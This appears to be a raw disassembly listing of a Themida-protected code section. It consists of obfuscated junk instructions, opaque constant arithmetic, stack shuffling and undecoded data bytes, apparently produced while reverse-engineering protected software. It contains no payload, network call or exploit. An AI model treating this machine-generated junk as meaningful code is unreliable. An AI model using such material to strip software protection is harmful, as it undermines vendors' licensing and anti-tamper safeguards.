		dd 81E38900h, 4C3h, 4C38300h, 915E9h
		db 0
; ---------------------------------------------------------------------------

loc_54B749:				; CODE XREF: Themida_:005523B2j
		inc	ebp
		not	ebp
		jmp	loc_54DCD4
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 42h
		dd 5A2EF208h, 959E9h, 833B000h,	0EFC058C7h, 50D7F603h
		dd 99B45052h, 48BE288h,	4C48324h, 0D430F2B4h, 1430E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B77E:				; CODE XREF: Themida_:005521F7j
		sub	eax, 1BF16FC3h
		pop	edx
		sub	eax, 4
		jmp	loc_547206
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC832404h, 24048904h, 0BCE95854h, 8300006Bh, 0E9042404h
		dd 5CC2h
; ---------------------------------------------------------------------------

loc_54B7A8:				; CODE XREF: Themida_:005513B9j
		mov	ebx, 73EC1696h
		add	edx, ebx
		jmp	loc_54CFB9
; ---------------------------------------------------------------------------
		dd 0E958C601h, 0FFFFC7ABh
		db 0ADh, 31h, 0D8h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_547B2A
; ---------------------------------------------------------------------------
		db 0BBh, 65h, 68h
		dd 5C014822h, 0E2E90424h, 2900005Eh, 0BB535FF8h, 2D878C0h
		dd 0E95BD821h, 73E0h
; ---------------------------------------------------------------------------

loc_54B7F8:				; CODE XREF: Themida_:0054FC6Ej
		or	eax, eax
		jz	loc_54BE38
		push	dword ptr [edi+1Ch]
		push	esi
		jmp	loc_54C253
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 3772E9h, 5F00100h, 34A651BAh, 2DF8295Eh, 769A12CEh
		dd 68243C8Bh, 2AABh, 89243C89h,	0FCBA52E7h, 4234474Dh
		dd 4DF9F281h, 0EF813447h, 1C4E69ABh, 0C781D701h, 1C4E69ABh
		dd 33EDE9h, 4C48100h, 0E9000000h, 0FFFFE19Dh
; ---------------------------------------------------------------------------

loc_54B858:				; CODE XREF: Themida_:00551B64j
		add	esp, 4
		add	esp, 4
		and	eax, ebp
		pop	ebp
		or	edx, eax
		shl	edx, 1
		push	ebx
		jmp	loc_54F35B
; ---------------------------------------------------------------------------

loc_54B86E:				; CODE XREF: Themida_:00552016j
		push	ecx
		mov	ecx, ebp
		mov	edi, ecx
		mov	ecx, [esp]
		jmp	loc_54F3BD
; ---------------------------------------------------------------------------
		db 1
		dd 0E98358C1h, 240C8704h, 0CE74E95Ch, 34FFFFFFh, 1BDEE924h
		dd 8B660000h, 0EC81240Ch, 4, 89241C89h,	6923E9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B8A6:				; CODE XREF: Themida_:005476F5j
		add	ecx, 0D81A196Ch
		sub	edi, ecx
		pop	ecx
		sub	edx, edi
		pop	edi
		or	edx, 493F302Dh
		shl	edx, 2
		push	6228h
		mov	[esp], edi
		mov	edi, 5BDF49D1h
		jmp	loc_54F5C7
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 1DE95A5Ch
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54B8D7:				; CODE XREF: Themida_:0054F149j
		push	ecx
		mov	ecx, 0FFFFFFFFh
		jmp	loc_549F14
; ---------------------------------------------------------------------------
		dw 835Bh
		dd 3C8704C7h, 34FF5C24h, 2434FF24h, 0E3895358h,	4C381h
		dd 0ACE90000h, 52FFFFF5h, 0EE801AB6h, 80CEFE14h, 0C68001C6h
		dd 0DCE1E901h, 0D15FFFFFh, 4AC381E3h, 2DF5CF27h, 0B8A7701h
		dd 105D829h, 5B0B8A77h,	19FE6859h, 3C890000h, 9600BF24h
		dd 0BE563FA7h, 769A12CEh, 0FFE338E9h, 0C8B66FFh, 2C48124h
		dd 5A000000h, 808EC380h, 0C3004CEBh, 968E950h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B95A:				; CODE XREF: Themida_:0054F8DCj
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	ebp
		push	412E1280h
		jmp	loc_548213
; ---------------------------------------------------------------------------
		dd 4EC8358h, 0BE243489h, 0FFFFFFFFh, 0C15EF501h, 814502E5h
		dd 5A86E1C5h, 5DEE2925h, 2F54E9h, 24548A00h, 245C8804h
		dd 241C8B04h, 8904EC83h, 0EE92434h, 5400005Dh, 0FFD5EEE9h
		dd 240C89FFh, 0FFB543E9h, 0E9505DFFh, 6B2h, 464ED6F7h
		dd 4DA2E9h
		db 0
; ---------------------------------------------------------------------------

loc_54B9C1:				; CODE XREF: Themida_:0054E8A5j
		sub	ebx, 25007623h
		jmp	loc_54C00F
; ---------------------------------------------------------------------------
		dd 9571E8B8h, 0DD8F756h, 14933E10h, 2645E9h, 81E68900h
		dd 4C6h, 4C68100h, 87000000h, 335C2434h, 2C31242Ch, 242C3324h
		dd 61E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54B9FE:				; CODE XREF: Themida_:005476E3j
		mov	dh, 3Dh
		xor	dh, 52h
		or	ah, dh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54A443
; ---------------------------------------------------------------------------
		dd 581C4709h, 0FFB4DBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BA19:				; CODE XREF: Themida_:0054DE33j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esi
		push	edx
		mov	edx, 60AD36F1h
		xor	edx, 0CB1C2Bh
		or	edx, 1DEA7128h
		xchg	ebx, edx
		not	ebx
		jmp	loc_54835C
; ---------------------------------------------------------------------------

loc_54BA4A:				; CODE XREF: Themida_:00547CD0j
		add	esi, 1FE96841h
		and	edx, esi
		jmp	loc_54E9B5
; ---------------------------------------------------------------------------

loc_54BA57:				; CODE XREF: Themida_:0054E354j
		push	dword ptr [esp]
		jmp	loc_550339
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 9CC88500h, 0FFB487E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BA6D:				; CODE XREF: Themida_:0054BE3Dj
		mov	[esp], ebx
		mov	eax, [esp]
		push	esi
		sub	esp, 4
		jmp	loc_550283
; ---------------------------------------------------------------------------

loc_54BA7C:				; CODE XREF: Themida_:0054D130j
		add	ecx, 4
		jmp	loc_549C6E
; ---------------------------------------------------------------------------
		db 56h
		dd 3CFAE9h, 5C355A00h, 0E9235A2Fh, 3766h
; ---------------------------------------------------------------------------

loc_54BA98:				; CODE XREF: Themida_:0054944Cj
		jmp	loc_546EF4
; ---------------------------------------------------------------------------
		db 5Ah,	87h, 34h
		dd 24248B24h, 0E9E28952h, 0FFFFF7C9h, 0C281E289h, 4, 4C281h
		dd 0CAE90000h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BABF:				; CODE XREF: Themida_:0054DE1Fj
		mov	eax, esp
		add	eax, 4
		jmp	loc_548CD9
; ---------------------------------------------------------------------------

loc_54BACB:				; CODE XREF: Themida_:0054766Aj
		add	ebx, 6F915149h
		jmp	loc_5477E0
; ---------------------------------------------------------------------------
		dw 0D800h
		dd 1AB05051h, 0FFF738E9h, 81E389FFh, 4C3h, 66EBE900h, 0DA890000h
		dd 3E24E9h, 243C2900h, 1C7835Fh, 2919E9h
		db 0
; ---------------------------------------------------------------------------

loc_54BB01:				; CODE XREF: Themida_:0054E6F4j
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_54D035
; ---------------------------------------------------------------------------
		db 81h
		dd 7C2F95C7h, 0E874E928h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BB16:				; CODE XREF: Themida_:0054A90Cj
		add	esp, 4
		add	esp, 4
		jmp	loc_54C79E
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 21000000h, 1C8B1C5Fh, 4C48324h, 0FFB3BFE9h, 62CF81FFh
		dd 0E901EB3Eh, 507Dh
; ---------------------------------------------------------------------------

loc_54BB40:				; CODE XREF: Themida_:005517BBj
		push	bx
		mov	bl, 0F6h
		xor	ah, bl
		pop	bx
		shr	ah, 2
		jmp	loc_54C102
; ---------------------------------------------------------------------------
		dd 0FD7967BEh, 9DC68143h, 0E9BC0286h, 3970h, 0BF7E7EBAh
		dd 0E2814254h, 2FAE515Eh, 697DE9h, 19E95900h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------

loc_54BB77:				; CODE XREF: Themida_:0055016Dj
		push	ecx
		mov	ecx, 5D83220Ch
		shl	ecx, 3
		sub	ecx, 0EC19105Fh
		jmp	loc_5505BE
; ---------------------------------------------------------------------------
		db 81h
		dd 693718EFh, 0E9CF0101h, 0FFFFC425h, 0FE6855ADh, 5D103B75h
		dd 6188E9h, 0E9E28900h,	3E55h, 87E95157h, 0F7FFFFF9h, 0A45C05D8h
		dd 0EF8159A3h, 28AE41B7h, 0C781C701h, 28AE41B7h, 5224048Bh
		dd 0FFFFD4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BBD1:				; CODE XREF: Themida_:0054E7A1j
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 54556D0Eh
		xor	ebp, ebx
		pop	ebx
		and	ebp, 4BEC5BDDh
		jmp	loc_54B6C0
; ---------------------------------------------------------------------------
aIbsSSch	db 'Ié',0Dh,0Dh,'~‘)Èéçh',0
		align 4

loc_54BBF8:				; CODE XREF: Themida_:005473A0j
		pop	eax
		add	esp, 4
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		mov	ebp, [esp]
		jmp	loc_550099
; ---------------------------------------------------------------------------

loc_54BC17:				; CODE XREF: Themida_:0054E35Bj
		mov	al, 0Ah
		shr	al, 6
		or	al, 5
		jmp	loc_5473BB
; ---------------------------------------------------------------------------
		db 89h
		dd 0C1B7241Ch, 0FFE90FE9h, 0E9805BFFh, 80C1FE39h, 7DE9C2E9h
		dd 31FFFFE2h, 8B555BDDh, 99E92404h, 5500002Ah, 0E92414F7h
		dd 467Bh, 0C42F3DBDh, 0E9E90142h, 707Dh, 0E9243C89h, 52DDh
		dd 0C158C629h, 48E903E6h, 51FFFFDFh, 0E95D5955h, 0FFFFD946h
		dd 240C8B66h, 6ED7E9h, 0A7B100h, 2C5966CAh, 4D00021h, 24148B21h
		dd 22AEE9h, 2434FF00h, 4C4835Bh, 0E9240C8Bh, 0FFFFFE7Dh
		dd 8B2434FFh, 89572404h, 4C781E7h, 68000000h, 313Ch, 0BA241489h
		dd 574F1C4Bh, 61B7EA81h, 0CA811C3Ah, 5B245B6Dh,	666ECA81h
		dd 0A1E94760h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54BCD7:				; CODE XREF: Themida_:00552D79j
		xor	eax, offset word_49027E
		and	[edi+1Ch], eax
		pop	eax
		jmp	loc_5514B1
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 0C2810000h, 4, 2EB168h, 14EBE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54BCFE:				; CODE XREF: Themida_:0054D454j
		pop	ecx
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_54A82E
; ---------------------------------------------------------------------------

loc_54BD0A:				; CODE XREF: Themida_:0055080Dj
		pop	eax
		jmp	loc_54F0C5
; ---------------------------------------------------------------------------
		dd 515DEF01h, 6F6FE9h
		db 0
; ---------------------------------------------------------------------------

loc_54BD19:				; CODE XREF: Themida_:0054B44Cj
		mov	ebx, edi
		jmp	loc_5478F1
; ---------------------------------------------------------------------------
		dd 5C240C87h, 0E9243433h, 89Bh,	74B85055h, 0BD50B41Bh
		dd 7DE69BB3h, 48BC531h,	7EF36824h, 3C890000h, 4EC8324h
		dd 81242489h, 42404h, 5BE90000h
		db 22h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54BD57:				; CODE XREF: Themida_:0054E09Ej
		mov	ebp, ecx
		jmp	loc_54C9DD
; ---------------------------------------------------------------------------

loc_54BD5E:				; CODE XREF: Themida_:0054A3F3j
		pop	ecx
		jmp	loc_54786E
; ---------------------------------------------------------------------------

loc_54BD64:				; CODE XREF: Themida_:0054C7F0j
		shr	eax, 10h
		xor	eax, ecx
		xor	eax, edi
		xor	edi, eax
		jmp	loc_547502
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 2C68240Ch, 89000043h, 5EE9240Ch, 55000042h, 21ACEBDh
		dd 0D5F74D48h, 0F4ED814Dh, 29B732BDh, 0E4B8E9EEh, 0C681FFFFh
		dd 4, 4C681h, 34870000h, 0C7815C24h, 4,	5704C783h, 42474FFh
		dd 0FFE2ADE9h, 0F50858FFh, 24148B66h, 2C481h, 0C5800000h
		dd 4D7DE9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54BDD2:				; CODE XREF: Themida_:0055237Ej
		mov	eax, 42240E9h
		and	eax, 75DC3025h
		sub	eax, 26C57D12h
		xor	eax, 2142521Ch
		shr	eax, 1
		dec	eax
		add	eax, 0E922D589h
		and	edi, eax
		jmp	loc_548CB6
; ---------------------------------------------------------------------------

loc_54BDF5:				; CODE XREF: Themida_:0054EA2Aj
		and	ebx, ebp
		pop	ebp
		shl	ebx, 5
		xor	ebx, 180A4801h
		sub	esp, 4
		mov	[esp], ebx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_547322
; ---------------------------------------------------------------------------
		db 0E9h, 0DAh, 0B0h
		dd 0C681FFFFh, 4, 5C243487h, 3BE3E9h
		db 0
; ---------------------------------------------------------------------------

loc_54BE29:				; CODE XREF: Themida_:005511BDj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp

loc_54BE38:				; CODE XREF: Themida_:0054B7FAj
		push	2900h
		jmp	loc_54BA6D
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 88E95224h
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BE4B:				; CODE XREF: Themida_:0054D782j
		add	esi, ebx
		add	esi, 450B2C35h
		pop	ebx
		push	ecx
		mov	ecx, 62036118h
		not	ecx
		dec	ecx
		sub	ecx, 9DFC9EE2h
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		jmp	loc_54FBDB
; ---------------------------------------------------------------------------
		db 0FFh
		dd 48B2434h, 0B84AE924h, 1489FFFFh, 53E28924h, 493F46BBh
		dd 26BD5543h, 81252D37h, 6D6E42EBh, 81EB017Fh, 6D6E42C3h
		dd 0F6E95D7Fh, 0B0FFFFD6h, 92BE90Eh, 0E9510000h, 10DFh
		dd 8C23962Dh, 0D3BB534Dh, 81783A08h, 57381BC3h,	25CB8170h
		dd 8120BA10h, 194755EBh, 0F564E97Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BED2:				; CODE XREF: Themida_:0054CCD0j
		add	esp, 4
		push	esi
		push	185F4669h
		pop	esi
		dec	esi
		neg	esi
		or	esi, 75962A7Ch
		add	esi, 3D9C9908h
		mov	eax, esi
		pop	esi
		xor	eax, edx
		pop	edx
		inc	eax
		push	ebp
		mov	ebp, 57FD58ADh
		xor	ebp, 4E9D2738h
		not	ebp
		or	ebp, 25735D1Bh
		jmp	loc_54ED4F
; ---------------------------------------------------------------------------

loc_54BF0B:				; CODE XREF: Themida_:0054E113j
		mov	esi, esp
		add	esi, 4
		push	7681h
		mov	[esp], ebx
		mov	ebx, 4
		add	esi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_549F1B
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0E5h
		dd 29C5998Bh, 240C8BC8h, 4C481h, 0DBE90000h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54BF43:				; CODE XREF: Themida_:0054ABCDj
		and	ebx, 13C0433Dh
		xor	ebx, 73312EEBh
		add	ebx, 8DCE920Eh
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_5483CE
; ---------------------------------------------------------------------------
		dd 8904EC83h, 86BD242Ch, 6863FE36h, 7E7Fh, 0E9241C89h
		dd 0FFFFEE3Ah, 1A00BA52h, 0BE56566Eh, 54BC0341h, 2245E94Eh
		dd 34330000h, 24343124h, 8B243433h, 31E92424h, 0B800004Dh
		dd 4E4A290Eh, 61776205h, 0E9D0F77Ch, 0FFFFB120h, 805AD500h
		dd 0C500B4C5h, 0FFBBDAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BFCD:				; CODE XREF: Themida_:005493A1j
		push	ebx
		mov	ebx, 4
		add	ecx, ebx
		jmp	loc_54C2DE
; ---------------------------------------------------------------------------
		dw 0FF66h
		dd 0AF12E932h, 158FFFFh
		db 0D0h, 5Ah
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		jmp	loc_54E0F8
; ---------------------------------------------------------------------------
a34LS3		db '34$‹$$é3+',0
		dw 5800h
		dd 85E944B5h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C00F:				; CODE XREF: Themida_:0054B9C7j
		push	ebp
		mov	ebp, 55F246A4h
		jmp	loc_54A326
; ---------------------------------------------------------------------------

loc_54C01A:				; CODE XREF: Themida_:00552187j
		mov	[esp], ebx
		jmp	loc_547F37
; ---------------------------------------------------------------------------
		dw 0CD01h
		dd 6464E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C029:				; CODE XREF: Themida_:00548AD0j
		shr	cl, 5
		jmp	loc_54B248
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 0E95A5452h, 0FFFFD7A6h, 405h, 4E88300h, 0FFECBAE9h
		dd 5FF831FFh, 48BC301h,	0E0895024h, 405h, 0D04DE900h, 1C87FFFFh
		dd 14865C24h, 0AE8AE924h, 0BA52FFFFh, 6AD2510Ch, 0BCAC58B8h
		dd 0E3BAE9AFh, 1C87FFFFh, 0CD35C24h, 6DE99C24h,	80FFFFAEh
		dd 885BF6C1h, 0EB8059CBh, 9EC38001h, 0D9E9EB00h
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C09B:				; CODE XREF: Themida_:00551FD1j
		push	edi
		mov	edi, 95BBEEA1h
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_54A3A9
; ---------------------------------------------------------------------------
		dw 0C681h
		dd 0F240E12Ch, 525EF001h, 0B4A0E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C0C6:				; CODE XREF: Themida_:0054B4B4j
		add	esp, 4
		or	ebx, eax
		pop	eax
		sub	ebx, 146BE02Eh
		add	esi, ebx
		pop	ebx
		jmp	loc_5477B9
; ---------------------------------------------------------------------------
		dw 0E0C1h
		dd 0CBE94004h, 5E000061h, 5C241487h, 9C242CD3h,	0FFAE03E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C0F1:				; CODE XREF: Themida_:00547BB7j
		xchg	eax, ecx
		push	4AEEh
		jmp	loc_54B6FB
; ---------------------------------------------------------------------------

loc_54C0FC:				; CODE XREF: Themida_:00548CB1j
		push	ebp
		jmp	loc_5479CD
; ---------------------------------------------------------------------------

loc_54C102:				; CODE XREF: Themida_:0054BB4Bj
		shr	ah, 7
		jmp	loc_549C08
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FFE326E9h, 0C8B66FFh, 67D26824h,	14890000h, 0E9E28924h
		dd 0FFFFB72Fh, 6624248Bh, 2404AB0Fh, 0ADBEE99Ch, 0CB81FFFFh
		dd 1ADF1180h, 1AFFEB81h, 0D9897BFFh, 81241C8Bh,	4C4h, 33C56800h
		dd 0D0E90000h, 53FFFFC1h, 5B2414F6h, 5603EBC0h,	0C681E689h
		dd 4, 4EE81h, 0BEE90000h, 89000030h, 0C80158C1h, 0FFBDD4E9h
		dd 2EC83FFh, 241C8966h,	0D828EDB3h, 19E4E9h, 47C90500h
		dd 68E9640Eh
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C197:				; CODE XREF: Themida_:0055075Ej
		and	ecx, eax
		pop	eax
		shr	ecx, 0
		or	eax, eax
		jz	loc_550EEB
		push	6F68h
		mov	[esp], edi
		push	34D0h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5494B0
; ---------------------------------------------------------------------------

loc_54C1BE:				; CODE XREF: Themida_:00547BDEj
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebx
		mov	ebx, 640A4495h
		xor	ebx, 640A4491h
		add	eax, ebx
		pop	ebx
		push	ecx
		mov	ecx, 2
		jmp	loc_5509C2
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd offset loc_41F266+2
		dd 24348900h, 0C681E689h, 4, 8704C683h,	0D3E92434h, 8BFFFFC7h
		dd 0C483240Ch, 80EA0004h, 2859B7C2h, 148B66D0h,	2C48324h
		dd 8904EC83h, 15B22414h, 807EEA80h, 0EAC02AEAh,	66D2F602h
		dd 0C78EE951h, 0E950FFFFh, 0FFFFFC6Bh, 4240483h, 0E92434FFh
		dd 0FFFFB896h, 56C6EE81h, 87585FCFh, 0BCE92434h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C253:				; CODE XREF: Themida_:0054B804j
		mov	esi, 28FB62DBh
		xor	[esp+4], esi
		pop	esi
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		sub	eax, 6791464h
		add	eax, edi
		add	eax, 6791464h
		pop	edi
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		push	3AF4h
		mov	[esp], ebx
		mov	ebx, 1BBA0439h
		shr	ebx, 2
		xor	ebx, 29F8509Eh
		jmp	loc_548166
; ---------------------------------------------------------------------------
		dd 3959C681h, 0F129921Fh, 0ACC7E95Eh, 148BFFFFh, 5F3AE924h
		dd 0E9530000h, 3CFEh, 262D6856h, 4890000h, 6BF36824h, 48B497Bh
		dd 2F30E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C2DE:				; CODE XREF: Themida_:0054BFD5j
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		and	eax, ecx
		jmp	loc_549FC4
; ---------------------------------------------------------------------------

loc_54C2F0:				; CODE XREF: Themida_:0054FFA5j
		add	eax, 16C30923h
		sub	eax, esi
		sub	eax, 16C30923h
		sub	eax, 52C13231h
		pop	esi
		sub	eax, ecx
		push	ebp
		push	esi
		push	446D429Ah
		pop	esi
		and	esi, 715C7E2Eh
		inc	esi
		add	esi, 0C53FFC32h
		jmp	loc_54D2F4
; ---------------------------------------------------------------------------
aSsB		db 'Sé#B',0
		align 4

loc_54C324:				; CODE XREF: Themida_:005506ACj
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 1
		jmp	loc_54C960
; ---------------------------------------------------------------------------
		db 2Dh
		dd 609E5547h, 0F748D0F7h, 630F05D8h, 0C729F845h, 5FF92958h
		dd 0C159CB21h, 0F38106EBh, 47B586F2h, 555BD801h, 171CE9h
		db 0
; ---------------------------------------------------------------------------

loc_54C365:				; CODE XREF: Themida_:00550014j
		mov	ebx, 68C77D77h
		mov	ecx, ebx
		pop	ebx
		mov	ebp, 0AEBDDFC5h
		sub	ebp, ecx
		pop	ecx
		push	eax
		mov	eax, esp
		jmp	loc_54DEB3
; ---------------------------------------------------------------------------

loc_54C37D:				; CODE XREF: Themida_:00551492j
		mov	[esp], ecx
		push	edi
		mov	edi, 0C8471BAh
		mov	ecx, 42D107A0h
		jmp	loc_54C904
; ---------------------------------------------------------------------------
aPQ4S4a		db 'P¸ßQ4<é4a',0
		db 0
; ---------------------------------------------------------------------------

loc_54C39B:				; CODE XREF: Themida_:00552A35j
		mov	ecx, 0
		sub	ecx, esi
		mov	esi, ecx
		pop	ecx
		xor	esi, 47DA7778h
		add	edx, esi
		pop	esi
		and	eax, edx
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		push	eax
		jmp	loc_54DE17
; ---------------------------------------------------------------------------
		dw 6852h
		dd 305457F6h, 9DC3815Ah, 15AC57Ah, 9DBA52D3h, 0E95AC57Ah
		dd 1885h, 0C8BCE01h, 0CCF9E924h, 0C8BFFFFh, 4EC8324h, 89243C89h
		dd 4C781E7h, 50000000h,	5E5BF57h, 77B85EE9h, 316C6222h
		dd 0CAF1E9F8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C412:				; CODE XREF: Themida_:0054B6F6j
		or	eax, eax
		jmp	loc_549B65
; ---------------------------------------------------------------------------
		db 8Bh,	34h, 24h
		dd 8104C483h, 0EFF88DEEh, 5EF231B1h, 0FFED41E9h, 0E9E189FFh
		dd 0FFFFFB58h, 0E9241487h, 901h
; ---------------------------------------------------------------------------

loc_54C43C:				; CODE XREF: Themida_:0054AFA9j
		push	ecx
		mov	ecx, 4281381Fh
		xor	edi, ecx
		pop	ecx
		add	eax, edi
		pop	edi
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_546F45
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 20685524h, 8900001Ah, 4832424h, 525D0424h, 4931E9h
		dd 0E9E68900h, 0FFFFF922h, 5058C301h, 2B8h, 58C30100h
		dd 2474FF53h, 241C8B04h, 81E68956h, 4C6h, 4C68300h, 31243433h
		dd 11E92434h, 5CFFFFBBh, 2A5BEB81h, 0C681D5C7h,	5C2A3D80h
		dd 0EE81DE01h, 5C2A3D80h, 1C77095Bh, 8324348Bh,	69E904C4h
		dd 100000Bh, 0ACEB81FBh, 5F21D33Bh, 4BF57h, 0FB010000h
		dd 241C875Fh, 0FF24248Bh, 34FF2434h, 0C4815A24h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_54AC93
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aHT		db '$hÌT',0
		align 2
		dw 2C89h
		dd 81E58924h, 4C5h, 0F2685300h,	5B693935h, 81E28952h, 4C2h
		dd 4EA8300h, 8B241487h,	44E92424h
		db 0D1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C52F:				; CODE XREF: Themida_:0055262Cj
		pop	ebx
		add	esp, 4
		shl	ebx, 3
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		mov	ebp, 2DF222DBh
		mov	esi, 7A47A575h
		add	esi, ebp
		pop	ebp
		xor	ebx, esi
		pop	esi
		jmp	loc_54DD4E
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0ED810000h, 4, 3DA4E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C565:				; CODE XREF: Themida_:005486ABj
		mov	edx, [esp]
		jmp	loc_54B1A1
; ---------------------------------------------------------------------------
		db 0B5h, 36h, 66h
		dd 1B450h, 0E95866E5h, 2B7Dh, 7B73C2BFh, 5FFA0156h, 0A4DC281h
		dd 4E97CE2h
		db 0EEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C58F:				; CODE XREF: Themida_:00548B58j
		pop	ecx
		add	ecx, 59F4D01h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	275Dh
		mov	[esp], edi
		push	ebx
		push	541D61F1h
		pop	ebx
		sub	esp, 4
		jmp	loc_551888
; ---------------------------------------------------------------------------
		db 66h
		dd 0B966515Fh, 0C16601B0h, 0F6E903E9h, 31000005h, 34332434h
		dd 24248B24h, 4BB0F66h,	19E99C24h, 81FFFFA9h, 4C7h, 4EF8300h
		dd 8B243C87h, 1C892424h, 2BB24h, 0D8010000h, 0E9241C8Bh
		dd 29AEh, 24048B66h, 4EC81h, 39E90000h,	29FFFFD3h, 0FCEF81EFh
		dd 8B1E0112h, 0C483242Ch, 5EE95904h, 5900002Bh,	6333EF81h
		dd 0CF016FEBh, 6333C781h, 0EBE96FEBh, 0BAFFFFFCh, 51F8490Eh
		dd 8245429h, 0CB60E95Ah, 8957FFFFh, 4C781E7h, 56000000h
		dd 43F1E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C651:				; CODE XREF: Themida_:0054C81Ej
		pop	edi
		mov	ecx, ebp
		pop	ebp
		jmp	loc_552578
; ---------------------------------------------------------------------------
		dw 0E589h
		dd 4C581h, 0ED830000h, 242C8704h, 61E0E95Ch, 0EA810000h
		dd 343527D5h, 0C281EA29h, 343527D5h, 83242C8Bh,	92E904C4h
		dd 66FFFFE7h, 53240C8Bh, 32E95B54h, 83FFFFDFh, 896602ECh
		dd 0B3532414h, 5BDE88ABh, 5A66F028h, 6852D828h,	35C6h
		dd 2603E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C6B1:				; CODE XREF: Themida_:0054890Aj
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		jmp	loc_54D12A
; ---------------------------------------------------------------------------

loc_54C6BE:				; CODE XREF: Themida_:00547837j
		mov	esp, [esp]
		mov	[esp], ecx
		push	ebx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_552867
; ---------------------------------------------------------------------------
		db 5Dh
